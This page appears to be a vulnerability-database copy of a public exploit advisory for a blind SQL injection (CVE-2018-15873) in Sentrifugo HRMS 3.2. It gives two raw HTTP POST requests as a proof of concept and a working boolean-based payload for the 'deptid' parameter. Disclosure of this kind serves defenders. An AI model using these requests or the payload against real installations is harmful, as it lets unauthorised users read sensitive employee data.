Lucene search
K

Sentrifugo HRMS 3.2 SQL Injection

🗓️ 27 Aug 2018 00:00:00Reported by Javier OlmedoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Sentrifugo HRMS 3.2 SQL Injection - Blind SQL Injection in 'deptid

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Sentrifugo HRMS 3.2 - deptid SQL Injection Vulnerability
28 Aug 201800:00
zdt
CNVD
Sentrifugo SQL Injection Vulnerability
29 Aug 201800:00
cnvd
CVE
CVE-2018-15873
28 Aug 201819:00
cve
Cvelist
CVE-2018-15873
28 Aug 201819:00
cvelist
Exploit DB
Sentrifugo HRMS 3.2 - 'deptid' SQL Injection
27 Aug 201800:00
exploitdb
EUVD
EUVD-2018-7730
7 Oct 202500:30
euvd
exploitpack
Sentrifugo HRMS 3.2 - deptid SQL Injection
27 Aug 201800:00
exploitpack
NVD
CVE-2018-15873
28 Aug 201819:29
nvd
OSV
CVE-2018-15873
28 Aug 201819:29
osv
Prion
Sql injection
28 Aug 201819:29
prion
Rows per page
`# Exploit Title: Sentrifugo HRMS 3.2 - 'deptid' SQL Injection  
# Exploit Author: Javier Olmedo  
# Website: https://hackpuntes.com  
# Date: 2018-08-26  
# Google Dork: N/A  
# Vendor: http://www.sapplica.com  
# Software Link: http://www.sentrifugo.com/download  
# Affected Version: 3.2 and possibly before  
# Patched Version: unpatched  
# Category: Web Application  
# Platform: PHP  
# Tested on: Win10x64 & Kali Linux  
# CVE: N/A  
  
# 1. Technical Description:  
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid  
# parameter through POST request in "/index.php/servicedeskconf/getemployees/format/html" resource.  
# This allows a user of the application without permissions to read sensitive information from  
# the database used by the application.  
  
# 2. Proof Of Concept (PoC):  
# 2.1 The following POST request generates an error 500 in the Application (add ' in deptid parameter)  
  
POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: text/html, */*; q=0.01  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 28  
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0  
Connection: close  
  
bunitid=0&deptid='&reqfor=2  
  
# 2.2 In another request, add two ' to receive a code 200 OK  
  
POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: text/html, */*; q=0.01  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 28  
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0  
Connection: close  
  
bunitid=0&deptid=''&reqfor=2  
  
# 3. Payload:  
  
Parameter: deptid (POST)  
Type: boolean-based blind  
Title: MySQL >= 5.0 boolean-based blind - Parameter replace  
Payload: bunitid=0&deptid=(SELECT (CASE WHEN (5610=5610) THEN 5610 ELSE 5610*(SELECT 5610 FROM INFORMATION_SCHEMA.PLUGINS) END))&reqfor=2  
  
# 4. Reference:  
# https://hackpuntes.com/cve-2018-15873-sentrifugo-hrms-3-2-blind-sql-injection/  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Aug 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.01135
35